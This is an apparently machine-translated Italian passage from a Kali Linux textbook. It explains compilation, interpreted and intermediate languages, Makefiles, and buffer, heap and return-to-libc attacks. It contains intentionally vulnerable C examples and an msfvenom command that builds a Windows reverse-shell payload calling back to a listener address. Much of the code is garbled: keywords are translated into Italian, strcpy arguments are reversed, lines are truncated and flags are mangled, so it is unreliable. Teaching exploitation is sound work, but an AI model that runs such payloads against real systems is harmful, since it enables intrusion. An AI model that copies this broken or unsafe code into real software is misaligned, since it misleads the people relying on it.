per i linguaggi di programmazione. La sintassi è un insieme di regole che devono essere seguite
affinché il codice sorgente dia origine a un programma funzionante.
L'esempio 10-1 mostra un semplice programma scritto nel linguaggio di
programmazione C. Lo useremo come base per esaminare il processo di
compilazione utilizzando gli elementi descritti.
Esempio 10-1. Esempio di programma C
#include <stdio.h>
int main(int argc,
char **argv) { int x
= 10; printf("Ciao,
Wubble!");
restituisci 0; }
Questo programma è una leggera variazione di un esempio comune nella
programmazione: il programma Hello, World, presentato nel libro The C
Programming Language scritto da Brian Kernighan e Dennis Ritchie
(Pearson, 1988). Questo è il primo programma che molte persone scrivono
quando imparano un nuovo linguaggio perché molti altri autori lo hanno
usato come punto di partenza. Per i nostri scopi, dimostra le caratteristiche
di cui vogliamo parlare piuttosto che un semplice modo di continuare un
tropo comune.
I programmi sono spesso scritti in modo modulare perché i moduli
consentono una maggiore struttura. Utilizzare un approccio modulare alla
scrittura di programmi consente di suddividere la funzionalità in parti più
piccole. Ciò consente di comprendere meglio cosa si sta facendo. Rende
inoltre il programma più leggibile. Ciò che impariamo nei primi corsi di
programmazione è che se si esce nel mondo esterno per scrivere
programmi, qualcun altro alla fine dovrà manutenere quei programmi
(leggi: correggere i bug). Ciò significa che vogliamo rendere il più semplice
possibile per quella persona che verrà dopo di te. In sostanza, fai agli altri
ciò che vorresti fosse fatto a te. Se vuoi che correggere i bug sia più facile,
rendilo più facile per coloro che dovranno correggere i tuoi bug. I
programmi modulari significano anche riutilizzo. Se compartimentalizzo un
particolare set di funzionalità, posso riutilizzarlo senza doverlo riscrivere al
suo posto quando ne ho bisogno.
La prima riga del programma è un esempio di riutilizzo del codice. Ciò che
stiamo dicendo è che includeremo tutte le funzioni definite nel file stdio.h .
Questo è il set di funzioni di input/output (I/O) definite dalla libreria
standard del linguaggio C. Sebbene siano funzioni essenziali, sono solo
questo: funzioni. Non fanno parte del linguaggio stesso. Per utilizzarle, devi
includerle. Il preprocessore utilizza questa riga sostituendo la riga #include
con il contenuto del file a cui si fa riferimento. Quando il codice sorgente
arriva al compilatore, tutto il codice nel file menzionato nel file .h farà
parte del codice sorgente che abbiamo scritto. Utilizzeremo il codice di
qualcun altro.
Dopo la riga include c'è una funzione. La funzione è un elemento
costitutivo di base della maggior parte dei linguaggi di programmazione. È
così che estraiamo passaggi specifici nel programma perché ci aspettiamo
di riutilizzarli. In questo caso particolare, questa è la funzione main .
Dobbiamo includere una funzione main perché quando il linker si
completa, deve sapere a quale indirizzo puntare il loader del sistema
operativo come punto di inizio dell'esecuzione. Il marcatore main indica al
linker dove inizierà l'esecuzione.
Noterai valori tra parentesi dopo la definizione della funzione principale .
Questi sono parametri che vengono passati alla funzione. In questo caso,
sono i parametri che sono stati passati al programma perché il sistema
operativo chiama la funzione principale in modo che tutto ciò che viene
passato provenga dal sistema operativo. Le uniche cose che il sistema
operativo passa al programma sono argomenti della riga di comando,
quindi è ciò che contengono i parametri della funzione principale . Il primo
parametro è il numero di argomenti che la funzione può aspettarsi di
trovare nell'array di valori che sono gli argomenti effettivi. Non entreremo
molto nella notazione, se non per dire che il parametro argv è in realtà una
posizione di memoria. In realtà, ciò che abbiamo è un indirizzo di memoria
che contiene un altro indirizzo di memoria in cui si trovano effettivamente i
dati. Questo è qualcosa con cui il linker dovrà fare i conti perché dovrà
inserire valori effettivi nel codice finale. Invece di **argv , ci sarà un
indirizzo di memoria o almeno i mezzi per calcolare un indirizzo di
memoria.
Quando un programma viene eseguito, si basa su segmenti di memoria. Il
primo è il segmento di codice . È qui che risiedono tutti i codici delle
operazioni che escono dal compilatore. Non sono altro che istruzioni
eseguibili. Un altro segmento di memoria è il segmento di stack , la
memoria di lavoro, se vogliamo. È effimero, il che significa che va e viene
quando serve. Quando le funzioni vengono chiamate in esecuzione, il
programma aggiunge uno stack frame allo stack. Lo stack frame è costituito
dai pezzi di dati di cui la funzione avrà bisogno. Ciò include i parametri che
gli vengono passati e tutte le variabili locali. Il linker crea i segmenti di
memoria su disco all'interno dell'eseguibile, ma il sistema operativo alloca
lo spazio in memoria quando il programma viene eseguito.
Immagina un programma C che assomiglia a questo, tranne per il fatto che
fa molto di più di quello che vedi. Questo programma serve solo a darti un
punto di riferimento per la discussione sullo stack delle chiamate. Questo
programma ha due funzioni oltre alla funzione principale :
#include <stdio.h>
#include <stringa.h>
int add(int addend1, int addend2)
{ int risultato; risultato =
addend1 + addend2; restituisci
risultato;
}
void printHiandAdd(char *str, int x, int y)
{
char name[50];
strncpy(name, str, 50);
printf("Hi, %s, the value is %d\n", name, add
}
int main(int argc, char **argv)
{
if (argc < 2) {
printf("You didn't provide your name\n")
return -1;
}
printHiandAdd(argv[1], 15, 27);
return 0;
}
La figura 10-1 mostra uno stack di chiamate con i primi due frame dello
stack appartenenti alle funzioni che vengono chiamate dopo l'esecuzione
del programma, oltre alla funzione principale . La funzione principale viene
aggiunta allo stack di chiamate quando il programma si avvia, poiché la
funzione principale viene effettivamente chiamata in quel punto. La prima
funzione che viene chiamata, supponendo che venga fornito un parametro
della riga di comando, è printHiandAdd . I parametri passati a tale funzione
sono il primo parametro sulla riga di comando (contenuto in un rgv[1] ),
così come gli interi 15 e 27. Una volta chiamata la funzione printHiandAdd ,
i parametri vengono aggiunti allo stack, seguiti dall'indirizzo di ritorno a cui
il programma salterà una volta completata la funzione, che è l'indirizzo
subito dopo la chiamata alla funzione. Dopo di che, viene allocato spazio
sullo stack per la variabile locale name . Sebbene questo sia stato
dichiarato come 50 byte, supponendo un carattere di 1 byte, lo stack verrà
allocato su un limite di byte poiché non ce n'è solo uno. In un sistema
moderno questo valore sarebbe solitamente di 64 bit, quindi l'allocazione
dello spazio dovrebbe essere un multiplo di 8, poiché 8 byte equivalgono a
64 bit.
La funzione printHiandAdd chiama la funzione add . Ciò significa che i
parametri 15 e 27 vengono spinti sullo stack, seguiti dall'indirizzo di
ritorno, seguito dalla variabile locale result , che contiene il valore della
somma dei due interi. Ciò che manca dallo stack di chiamata per semplicità
è la funzione printf , che verrebbe chiamata non appena add restituisce. La
funzione printf non può essere chiamata finché non c'è un valore da
passare, quindi add viene chiamata per prima, quindi il result viene
passato a printf . La funzione printf
la funzione invia i valori passati allo standard output, generalmente
denominato STDOUT. Nella maggior parte dei casi, questa sarebbe la
finestra del terminale da cui si esegue il programma.
Figura 10-1. Stack delle chiamate
La chiamata alla funzione printf non è locale al programma, quindi la
definizione deve essere estratta da una libreria. Il preprocessore include
tutto il contenuto di stdio.h , che include la definizione della funzione printf
. Ciò consente il completamento della compilazione senza errori. Il linker
aggiunge quindi il codice oggetto dalla libreria per la funzione printf in
modo che quando il programma viene eseguito, avrà un indirizzo di
memoria a cui saltare contenente i codici delle operazioni per quella
funzione. La funzione funziona quindi allo stesso modo delle altre funzioni.
Creiamo uno stack frame, la posizione di memoria della funzione viene
saltata e la funzione utilizza tutti i parametri che sono stati inseriti nello
stack.
L'ultima riga del programma è necessaria solo perché la funzione è stata
dichiarata per restituire un valore intero. Ciò significa che il programma è
stato creato per restituire un valore. Ciò è importante perché i valori di
ritorno possono indicare il successo o il fallimento di un programma. Valori
di ritorno diversi possono indicare condizioni di errore specifiche. Il valore
0 nella funzione principale indica che il programma è stato completato con
successo. Se è presente un valore diverso da zero, il sistema riconosce che
il programma ha avuto un errore. Ciò non è strettamente necessario. È
semplicemente considerata una buona pratica di programmazione chiarire
qual era la disposizione del programma quando è terminato in modo che
gli utenti o il sistema possano identificare quando si verificano errori.
Il processo di compilazione implica molto più di quanto trattato qui. Questo
è solo uno schizzo approssimativo per preparare il terreno per
comprendere alcune delle vulnerabilità e degli exploit in seguito. I
programmi compilati non sono l'unico tipo di programmi che utilizziamo.
Un altro tipo di programma sono i linguaggi interpretati. Questo non passa
attraverso il processo di compilazione in anticipo.
Lingue interpretate
Se hai sentito parlare del linguaggio di programmazione Perl o Python, hai
sentito parlare di un linguaggio interpretato . La mia prima esperienza con
un linguaggio di programmazione nel 1981 è stata con un linguaggio
interpretato. Il primo linguaggio che ho usato su un minicomputer della
Digital Equipment Corporation è stato BASIC. All'epoca, era un linguaggio
interpretato. Non tutte le implementazioni di BASIC sono state
interpretate, ma questa sì. Un discreto numero di linguaggi sono
interpretati. Ogni volta che senti qualcuno parlare di un linguaggio di
scripting , sta parlando di un linguaggio interpretato.
I linguaggi interpretati non sono compilati nel senso di cui abbiamo
parlato. Un linguaggio di programmazione interpretato converte singole
linee di codice in codici di operazioni eseguibili mentre le linee vengono
lette dall'interprete. Mentre un programma compilato ha l'eseguibile
stesso come programma in esecuzione, quello che viene visualizzato nelle
tabelle dei processi, con i linguaggi interpretati è l'interprete il processo. Il
programma che vuoi effettivamente eseguire è un parametro di quel
processo. È l'interprete che è responsabile della lettura del codice sorgente
e della sua conversione, se necessario, in qualcosa di eseguibile. Ad
esempio, se stai eseguendo uno script Python, vedrai python o python.exe
nella tabella dei processi, a seconda della piattaforma che stai utilizzando,
che sia Linux o Windows.
Diamo un'occhiata a un semplice programma Python per capire meglio
come funziona. L'esempio 10-2 è un semplice programma Python che
mostra la stessa funzionalità del programma C nell'esempio 10-1 .
Esempio 10-2. Esempio di programma Python
import sys print("Ciao,
wubble!")
Noterete che questo sembra un programma semplice al confronto, anche
se fa esattamente la stessa cosa del programma C precedente. Infatti, la
prima riga non è affatto necessaria. L'ho inclusa per mostrare la stessa
funzionalità che avevamo nel programma C di trarre funzionalità da risorse
esterne.
Ogni riga di un programma interpretato viene letta e analizzata per errori di
sintassi prima che la riga venga convertita in operazioni eseguibili. Nel caso
della prima riga, stiamo dicendo all'interprete Python di importare le
funzioni dal modulo sys . Tra le altre cose, il modulo sys ci fornirà l'accesso
a qualsiasi argomento della riga di comando. L'accesso all'argomento della
riga di comando è lo stesso del passaggio delle variabili argc e argv alla
funzione principale nel precedente programma C. La successiva e unica
altra riga nel programma è l' istruzione print . Questa è una funzione
incorporata, il che significa che non fa parte della sintassi del linguaggio,
ma è una funzione che non deve essere importata o ricreata da zero.
Proprio come con la funzione printf nell'esempio C, questo output è su
stdout.
Questo programma non restituisce esplicitamente un valore. Potremmo
creare il nostro valore di ritorno chiamando sys.exit(0) . Questo non è
strettamente necessario con Python. In script brevi, potrebbe non avere
molto valore, anche se è sempre buona norma restituire un valore per
indicare il successo o il fallimento. Il valore di ritorno può essere utilizzato
da entità esterne per prendere decisioni in base al successo o al fallimento
del programma.
Un vantaggio nell'uso di linguaggi interpretati è la potenziale velocità di
sviluppo. Possiamo aggiungere rapidamente nuove funzionalità a un
programma senza dover tornare indietro attraverso una compilazione, un
collegamento o forse anche un processo di distribuzione. Modifichi la
sorgente del programma e la esegui tramite l'interprete. C'è un piccolo
svantaggio, ovviamente. Paghi la penalità di aver eseguito la compilazione
in loco mentre il programma è in esecuzione. Ogni volta che esegui il
programma, essenzialmente compili il programma e lo esegui
contemporaneamente. Con i processori moderni, questo overhead è
trascurabile e non dovrebbe essere notato. Potresti sentire questo
processo di compilazione definito compilazione just-in-time perché la
compilazione viene eseguita appena prima dell'esecuzione (just in time).
Lingue Intermedie
L'ultimo tipo di linguaggio che dobbiamo trattare è un linguaggio
intermedio . Si tratta di qualcosa tra interpretato e compilato.
Tutti i linguaggi Microsoft .NET rientrano in questa categoria, così come
Java. Questi sono due dei più comuni che incontrerai, anche se ce ne sono
stati molti altri. Quando utilizziamo questi tipi di linguaggi, si verifica
qualcosa come un processo di compilazione. Invece di ottenere un vero
eseguibile alla fine del processo di compilazione, si verifica comunque un
file con un linguaggio intermedio. Questo può anche essere definito
pseudocodice . Per eseguire il programma, hai bisogno di un programma in
grado di interpretare lo pseudocodice, convertendolo in codici operativi
specifici del processore che la macchina comprende.
Ci sono un paio di ragioni per questo approccio. Una è non affidarsi
all'interfaccia binaria che si riferisce al sistema operativo. Tutti i sistemi
operativi hanno la propria interfaccia binaria dell'applicazione (ABI) che
definisce come viene costruito un programma in modo che il sistema
operativo possa utilizzarlo ed eseguire i codici operativi che ci interessano.
Tutto il resto che non è costituito da codici operativi e dati è solo dati
wrapper che indicano al sistema operativo come viene costruito il file. I
linguaggi intermedi evitano questo problema. L'unico elemento che deve
conoscere l'ABI del sistema operativo è il programma che esegue il
linguaggio intermedio, o pseudocodice.
Un altro motivo per usare questo approccio è isolare il programma in
esecuzione dal sistema operativo sottostante. Questo crea un sandbox in
cui eseguire l'applicazione. Teoricamente, usare un sandbox ha dei
vantaggi in termini di sicurezza. In pratica, il sandbox non è sempre l'ideale
e non riesce sempre a isolare il programma. Tuttavia, l'obiettivo è
ammirevole. Per comprendere meglio il processo di scrittura in questo tipo
di linguaggi, diamo un'occhiata a un semplice programma in Java. Puoi
vedere una versione dello stesso programma che abbiamo esaminato
nell'Esempio 10-3 .
Esempio 10-3. Esempio di programma Java
pacchetto Basic; importa
java.lang.System; classe
pubblica Basic { String
pubblica foo;
pubblico static void main(String[] args) {
System.out.println("Ciao, wubble!");
}
}
Java, come molti altri linguaggi intermedi, è un linguaggio orientato agli
oggetti. Ciò significa molte cose, ma una di queste nel caso di Java è che ha
classi. La classe fornisce un contenitore in cui i dati e il codice che agisce su
tali dati risiedono insieme. Sono incapsulati insieme in modo che possano
essere create istanze autosufficienti della classe, il che significa che puoi
avere più oggetti identici e il codice non deve essere a conoscenza di
nient'altro che della propria istanza. La classe è il modo in cui vengono
implementati gli oggetti in Java. Ogni oggetto ha una definizione e tale
definizione può essere replicata più e più volte in istanze diverse.
Java ha anche namespace , per chiarire come fare riferimento a funzioni,
variabili e altri oggetti da altri punti del codice. La riga del pacchetto indica
il namespace utilizzato. Non è necessario fare riferimento a qualsiasi altra
cosa nel pacchetto Basic tramite packagename.object . È necessario fare
riferimento a qualsiasi cosa esterna al pacchetto in modo esplicito. Le parti
del compilatore e del linker del processo si occupano di organizzare il
codice e gestire qualsiasi riferimento.
La riga di importazione è la stessa della riga di inclusione del programma C
precedente. Stiamo importando funzionalità in questo programma. Per
coloro che hanno una certa familiarità con il linguaggio Java,
riconosceranno che questa riga non è strettamente necessaria perché tutto
in java.lang viene importato automaticamente. Questo è qui solo per
dimostrare la funzionalità di importazione, come abbiamo mostrato in
precedenza. Proprio come prima, questo sarebbe gestito da un processo di
collegamento, in cui vengono gestiti tutti i riferimenti.
La classe è un modo per incapsulare tutto insieme. Questo viene gestito
durante la fase di compilazione quando si tratta dell'organizzazione del
codice e dei riferimenti. Vedrai che all'interno della nostra classe c'è una
variabile. Questa è una variabile di classe: qualsiasi funzione nella classe
può fare riferimento a questa variabile e usarla. L'accesso o l'ambito è solo
all'interno della classe, però, e non dell'intero programma, che può essere
composto da un certo numero di classi. Questa particolare variabile
verrebbe memorizzata in una parte diversa dello spazio di memoria del
programma anziché essere inserita nello stack come abbiamo visto e
discusso prima. Infine, abbiamo la funzione principale , che è il punto di
ingresso al programma. Usiamo la funzione println usando il riferimento
completo allo spazio dei nomi ad essa, e invia l'output a stdout. Questo, di
nuovo, viene gestito durante quella che sarebbe una fase di collegamento
perché il riferimento a questo modulo esterno dovrebbe essere inserito nel
contesto con il codice del modulo esterno in posizione.
Una volta completato il processo di compilazione, ci ritroviamo in un file
che contiene un linguaggio intermedio. Si tratta di pseudocodice che
assomiglia ai codici operativi di un sistema, ma è completamente
indipendente dalla piattaforma. Una volta ottenuto il file di codice
intermedio, viene eseguito un altro programma per convertire il codice
intermedio nei codici operativi in modo che il processore possa eseguirlo.
Eseguire questa conversione aggiunge una certa quantità di latenza, ma
essere in grado di eseguire codice su molti programmi senza ricompilare,
nonché l'isolamento dell'applicazione, sono vantaggi che generalmente
superano qualsiasi svantaggio che la latenza può causare.
Compilazione e costruzione
Non tutti i programmi di cui potresti aver bisogno per i test saranno
disponibili nel repository Kali, nonostante i manutentori tengano sotto
controllo i numerosi progetti disponibili. Invariabilmente, ti imbatterai in un
pacchetto software che vuoi davvero usare e che non è disponibile nel
repository Kali per l'installazione tramite apt . Ciò significa che dovrai
compilarlo dal codice sorgente. Prima di iniziare a compilare interi
pacchetti, però, vediamo come compilare un singolo file. Supponiamo di
avere un file sorgente denominato wubble.c . Per compilarlo in un
eseguibile, utilizziamo gcc -Wall -o wubble wubble.c . Il gcc è l'eseguibile
del compilatore. Per visualizzare tutti gli avvisi, ovvero potenziali problemi
nel codice che non sono errori veri e propri che impediranno la
compilazione, utilizziamo -Wall . Dobbiamo specificare il nome del file di
output. In caso contrario, otterremo un file denominato
a.out . Specifichiamo il file di output usando -o . Infine, abbiamo il nome
del file del codice sorgente.
Questo funziona per un singolo file. Puoi specificare più file di codice
sorgente e ottenere l'eseguibile creato. Se hai file di codice sorgente che
devono essere compilati e collegati in un singolo eseguibile, è più facile
usare make per automatizzare il processo di compilazione. make funziona
eseguendo set di comandi inclusi in un Makefile. Questo file contiene un
set di istruzioni che make usa per eseguire attività come la compilazione di
file di codice sorgente, il loro collegamento, la rimozione di file oggetto e
altre attività correlate alla compilazione. Ogni programma che usa questo
metodo di compilazione avrà un Makefile e spesso diversi Makefile, che
forniscono istruzioni su come compilare esattamente il programma.
Il Makefile è composto da variabili e comandi, nonché da target. Un
esempio di Makefile può essere visto nell'Esempio 10-4 . Ciò che vedi è la
creazione di due variabili che indicano il nome del compilatore C, nonché i
flag passati al compilatore C. Ci sono due target in questo Makefile, make e
clean . Se passi uno di questi in make , eseguirà il target specificato. Se vuoi
solo compilare gli eseguibili, non hai bisogno di chiamare il target make .
Verrà eseguito automaticamente se esegui solo il programma make . Per
pulire le directory di compilazione, dovresti specificare il target usando
make clean . Questo eseguirà l' eseguibile make , passando il target clean
come parametro.
Esempio 10-4. Esempio di Makefile
CC = gcc
CFLAGS = -Wall
crea:
$(CC) $(CFLAGS) bgrep.c -o bgrep
$(CC) ($CFLAGS) udp_server.c -o udp_serve
$(CC) $(CFLAGS) cymothoa.c -o cymothoa -D
clean:
rm -f bgrep cymothoa udp_server
La creazione del Makefile può essere automatizzata, a seconda delle
funzionalità che si desiderano nella build complessiva. Spesso questo viene
fatto usando un altro programma, automake . Per usare il sistema
automake , troverai generalmente un programma nella directory sorgente
denominato configure . Lo script configure eseguirà dei test per
determinare quali altre librerie software dovrebbero essere incluse nel
processo di build. L'output dello script configure sarà costituito da tanti file
make quanti ne servono, a seconda della complessità del software. Ogni
directory che include una funzionalità del programma complessivo e
contiene file sorgente avrà un Makefile. Sapere come compilare software
dalla sorgente sarà prezioso e ne faremo uso più avanti.
Errori di programmazione
Ora che abbiamo parlato un po' di come i diversi tipi di linguaggi gestiscono
la creazione di programmi, possiamo parlare di come si verificano le
vulnerabilità. Si verificano due tipi di errori quando si tratta di
programmazione. Il primo tipo è un errore di compilazione . Questo tipo di
errore viene rilevato dal compilatore e significa che la compilazione non
verrà completata. Nel caso di un programma compilato, non otterrai un
eseguibile. Il compilatore genererà semplicemente l'errore e si fermerà.
Poiché ci sono errori nel codice, non c'è modo di generare un eseguibile.
Questo tipo di errore sarà generalmente un errore di sintassi, che viola il
modo in cui il programma è stato scritto in base alle regole del linguaggio
in uso. Non otterrai errori di compilazione strettamente con un linguaggio
interpretato come Python, sebbene l'interprete Python eseguirà un
controllo di integrità sul programma per convalidare la sintassi prima di
provare a eseguire il programma. Ciò genererà errori di sintassi.
L'altro tipo di errori sono quelli che si verificano mentre il programma è in
esecuzione. Questi errori di runtime sono errori di logica piuttosto che
errori di sintassi. Questi tipi di errori possono causare un comportamento
inaspettato o non pianificato del programma. Possono verificarsi se il
controllo degli errori è incompleto nel programma. Possono verificarsi se si
presume che un'altra parte del programma stia facendo qualcosa che non
sta facendo. Alcuni linguaggi come Java possono instillare un falso senso di
sicurezza, aspettandosi che il linguaggio si occupi di un sacco di overhead e
gestione di cui i programmatori dovrebbero occuparsi nella maggior parte
dei linguaggi. Ciò include la gestione della memoria e la sicurezza
complessiva dell'ambiente.
Ognuna di queste ipotesi, o semplicemente una scarsa comprensione di
come vengono creati i programmi e di come vengono eseguiti tramite il
sistema operativo, può portare a errori. Esamineremo come queste classi
di errori possono portare a codice vulnerabile che possiamo sfruttare con i
nostri test sui sistemi Kali Linux. Otterrai una migliore comprensione del
motivo per cui gli exploit in Metasploit funzionano. Alcune di queste classi
di vulnerabilità sono exploit di memoria, quindi forniremo una panoramica
di buffer e heap overflow.
Se hai poca familiarità con la scrittura di programmi e sai poco di
exploiting, puoi usare Kali Linux per compilare i programmi qui e lavorarci
per innescare arresti anomali del programma e vedere come si
comportano.
Overflow del buffer
Immagina di prendere 10 libbre di zucchero e di provare a infilarle in un
sacchetto da 5 libbre. Non ci starà e si verificherà una grande fuoriuscita.
Forse questo ti aiuterà a visualizzare un buffer overflow , che sta cercando
di mettere più dati in uno spazio di quanto non fosse allocato per quei dati.
Diamo un'occhiata da una prospettiva di codice, però, per darti una
comprensione più concreta. L'esempio 10-5 mostra un programma C che
ha un buffer overflow al suo interno. Quando lo compili, potresti dover
assicurarti di disattivare le protezioni che vengono istituite di default nel
compilatore. La sua compilazione potrebbe richiedere l'uso del flag -fnostack-protector , come in gcc -fnostack-protector -o vuln vuln.c .
Esempio 10-5. Buffer overflow in C
#include <stdio.h>
#include <stringa.h>
void strCopy(char *str)
{ char locale[10];
strcpy(str, locale);
printf(str); }
int main(int argc, char **argv) {
char myStr[20]; strcpy("Questa è una
stringa", myStr); strCopy(myStr);
restituisci 0;
}
Nella funzione principale, creiamo una variabile array di caratteri (stringa)
con una capacità di archiviazione di 20 byte/caratteri. Quindi copiamo 16
caratteri in quell'array. Verrà aggiunto un 17° carattere perché le stringhe in
C (non esiste un tipo stringa, quindi una stringa è un array di caratteri) sono
terminate da null, il che significa che l'ultimo valore nell'array sarà uno 0,
non il carattere 0 ma il valore 0. Dopo aver copiato la stringa nella variabile,
passiamo la variabile alla funzione strCopy . All'interno di questa funzione,
viene creata una variabile locale alla funzione denominata local . Questa ha
una lunghezza massima di 10 byte/caratteri. Una volta copiata la variabile
str nella variabile locale , stiamo cercando di spingere più dati nello spazio
di quanti lo spazio sia progettato per contenere.
Ecco perché il problema è chiamato buffer overflow . Il buffer in questo
caso è local e lo stiamo facendo traboccare cercando di copiare più byte di
quelli allocati per la variabile. Il linguaggio C non fa nulla per garantire che
non si stia tentando di spingere più dati in uno spazio di quanti ne possa
contenere. Alcune persone considerano questo un vantaggio dell'uso di C.
Tuttavia, ogni sorta di problema deriva dal non eseguire questo controllo.
Considera che la memoria è essenzialmente impilata. Hai un mucchio di
indirizzi di memoria allocati per archiviare i dati nel buffer/variabile locale .
Non è che quegli indirizzi siano semplicemente seduti nello spazio da soli.
L'indirizzo di memoria successivo all'ultimo in local è allocato a
qualcos'altro. (C'è il concetto di limiti di byte, ma non confonderemo i
problemi entrando in quello.) Se inserisci troppe cose in local , il resto
viene scritto nello spazio degli indirizzi di un altro pezzo di dati che è
necessario al programma.
MANCIA
Il C ha delle funzioni che sono considerate sicure. Una di queste è strncpy . Questa funzione non
accetta solo due buffer come parametri come fa strcpy , ma anche un valore numerico. Il valore
numerico viene usato per dire, "Copia solo questa quantità di dati nel buffer di destinazione". In
teoria, questo allevia il problema dei buffer overflow, finché i programmatori usano strncpy e sanno
quanto è grande il buffer in cui stanno copiando.
Un frame viene posizionato sullo stack quando viene chiamata la funzione
strCopy , che include non solo lo spazio per la variabile local che
appartiene alla funzione strCopy , ma anche il parametro str . Lo spazio
allocato sullo stack sarebbe abbastanza grande da memorizzare il
contenuto dei dati passati alla funzione. Ci sarebbe anche l'indirizzo di
ritorno del posto nella funzione principale dopo la chiamata a strCopy .
Questo è necessario per sapere dove tornare per l'esecuzione del
programma una volta completata la funzione.
Se facciamo traboccare il buffer locale con troppi dati, l'indirizzo di ritorno
verrà modificato, sovrascritto da qualsiasi valore in locale che superi lo
spazio allocato per quella variabile. Ciò farà sì che il programma provi a
saltare a un indirizzo completamente diverso da quello a cui avrebbe
dovuto. Probabilmente, l'"indirizzo" a cui si sta saltando non esisterà
nemmeno nello spazio di memoria allocato al processo. Diciamo, ad
esempio, che str conteneva 35 a . In esadecimale, questo sarebbe 0x61.
Ciò renderebbe l'indirizzo 0xaaaaaaaaaaaaaaaa. È possibile che questo
indirizzo sia noto al processo, ma probabilmente no. Se il processo non è a
conoscenza di (non è stato allocato a) quell'indirizzo di memoria, si otterrà
un errore di segmentazione ; il programma sta tentando di accedere a un
segmento di memoria che non gli appartiene. Il programma fallirà. Gli
exploit funzionano manipolando i dati inviati al programma in modo tale
da poter controllare quell'indirizzo di ritorno.
PROTEZIONE DELLA PILA
Le condizioni di overflow sono un problema da decenni. Infatti, il worm
Morris ha sfruttato i buffer overflow alla fine degli anni '80 per sfruttare i
servizi di sistema. La diffusione virulenta di quel worm ha paralizzato quella
che all'epoca era una rete Internet notevolmente più piccola. Poiché è un
problema di lunga data che ha causato innumerevoli interruzioni e
infiltrazioni, ci sono delle protezioni per questo:
Lo stack canary introduce un pezzo di dati nello stack, prima dell'indirizzo
di ritorno. Se il valore dei dati è stato modificato prima che la funzione
restituisca, l'indirizzo di ritorno non viene utilizzato. La randomizzazione
del layout dello spazio degli indirizzi viene spesso utilizzata per prevenire
gli attacchi di buffer overflow. I buffer overflow funzionano perché
l'attaccante può sempre prevedere l'indirizzo in cui il proprio codice viene
inserito nello stack. Quando lo spazio degli indirizzi del programma viene
randomizzato, l'indirizzo in cui viene inserito il codice cambierà a ogni
esecuzione del programma, il che significa che l'attaccante non può sapere
dove forzare un salto. Ciò rende questi attacchi inutili.
Gli stack non eseguibili impediscono anche che gli attacchi buffer overflow
abbiano successo. Lo stack è un posto in cui vengono archiviati i dati di
cui il programma ha bisogno. Non c'è motivo per cui lo stack debba mai
avere codice eseguibile. Se lo spazio di memoria in cui si trova lo stack
viene contrassegnato come non eseguibile, il programma non può mai
saltare a nulla nello stack per essere eseguito.
Anche la convalida dell'input prima di effettuare qualsiasi copia dei dati è
una protezione. I buffer overflow esistono perché i programmatori e i
linguaggi di programmazione consentono di copiare grandi spazi in spazi
più piccoli. Se i programmatori effettuassero la convalida dell'input
prima di eseguire qualsiasi azione sui dati, molte vulnerabilità
scomparirebbero.
Overflow dell'heap
Un heap overflow segue la stessa idea del buffer overflow. La differenza sta
nel dove avviene e cosa può risultare. Mentre lo stack è pieno di dati noti ,
l'heap è pieno di dati sconosciuti , ovvero lo stack ha dati noti e allocati in
fase di compilazione. L'heap, d'altro canto, ha dati allocati dinamicamente
mentre il programma è in esecuzione. Per vedere come funziona,
rivediamo il programma che stavamo usando prima. Puoi vedere le
modifiche nell'Esempio 10-6 .
Esempio 10-6. Allocazione heap dei dati
#include <stdio.h>
#include <stringa.h>
#include <stdlib.h>
void strCopy(char *str) { char *local =
malloc(10 * (sizeof(char)));
strcpy(str, locale);
printf(str); }
int main(int argc, char **argv) { char
*str = malloc(25 * (sizeof(char)));
strcpy("Questa è una stringa",
str); strCopy(str); return 0;
}
Invece di definire semplicemente una variabile che include la dimensione
dell'array di caratteri, come abbiamo fatto in precedenza, stiamo allocando
memoria e assegnando l'indirizzo dell'inizio di tale allocazione a una
variabile chiamata puntatore . Questa memoria dovrebbe essere allocata
sull'heap, che è un segmento di memoria diverso dallo stack.
Le variabili mostrate qui, str e local , sono entrambe destinate a contenere
una posizione di memoria. La variabile è indicata dalla posizione di
memoria piuttosto che dal valore memorizzato nella variabile.
Naturalmente, hai bisogno di qualcosa da eseguire, che sarebbe la cosa
reale che inietti nello stack piuttosto che qualcosa che non è molto utile,
come una stringa di A. Un modo per ottenere un payload è usare di nuovo
Metasploit. Un'applicazione autonoma chiamata msfvenom può essere
usata per generare payload. Per creare un payload binario dal reverse TCP
listener per Meterpreter, potresti usare qualcosa come msfvenom -a x64 platform Windows -p windows/x64/shell_reverse_tcp LHOST=192.168.4.52
LPORT=4400-o output . Questo genererà un payload binario. Il payload
binario deve quindi essere inserito in un programma che lo utilizzerà come
exploit, poiché non inietterai semplicemente byte grezzi a mano. In genere,
ogni byte dovrebbe essere convertito in esadecimale, il che potrebbe
essere utilizzato in un programma o in uno script. Puoi usare qualcosa
come hexdump o xxd per convertire dal binario in esadecimale. Da lì,
potresti ancora dover fare del lavoro, a seconda delle aspettative del modo
in cui stai scrivendo il programma.
La differenza tra heap overflow e stack overflow è ciò che viene
memorizzato in ogni posizione. Sull'heap, non ci sono altro che dati. Se si
verifica un overflow di un buffer sull'heap, l'unica cosa che si farà sarà
corrompere altri dati che potrebbero essere sull'heap. Questo non significa
che gli heap overflow non siano sfruttabili. Tuttavia, richiede diversi
passaggi in più rispetto alla semplice sovrascrittura dell'indirizzo di ritorno,
come potrebbe essere fatto nella situazione di stack overflow.
Un'altra tattica di attacco correlata a questo è l'heap spraying . Con un
heap spray, un attacco sfrutta il fatto che l'indirizzo dell'heap è noto. Il
codice exploit viene quindi spruzzato nell'heap. Ciò richiede comunque che
il puntatore di istruzione esteso (EIP) debba essere manipolato per puntare
all'indirizzo dell'heap in cui si trova il codice eseguibile. Questa è una
tecnica molto più difficile da proteggere rispetto a un buffer overflow.
Ritorna a libc
Questa prossima tecnica di attacco è ancora una variante di ciò che
abbiamo visto. In definitiva, ciò che deve accadere è che l'attaccante voglia
il controllo del puntatore di istruzione. Il puntatore di istruzione contiene la
posizione di memoria della prossima istruzione da eseguire nel processo.
Se lo stack è stato contrassegnato come non eseguibile o se lo stack è stato
randomizzato, è molto più difficile ottenere il controllo del flusso di
esecuzione del programma. Tuttavia, le librerie condivise sono un modo
per controllare il flusso di esecuzione, poiché le librerie condivise si
trovano in posizioni note nella memoria.
Il motivo per cui la libreria deve trovarsi in uno spazio noto è per impedire
a ogni programma in esecuzione di caricare la libreria nel proprio spazio di
indirizzamento. Quando c'è una libreria condivisa che viene caricata in una
posizione nota, ogni programma può usare lo stesso codice eseguibile dalla
stessa posizione. Se il codice eseguibile è memorizzato in una posizione
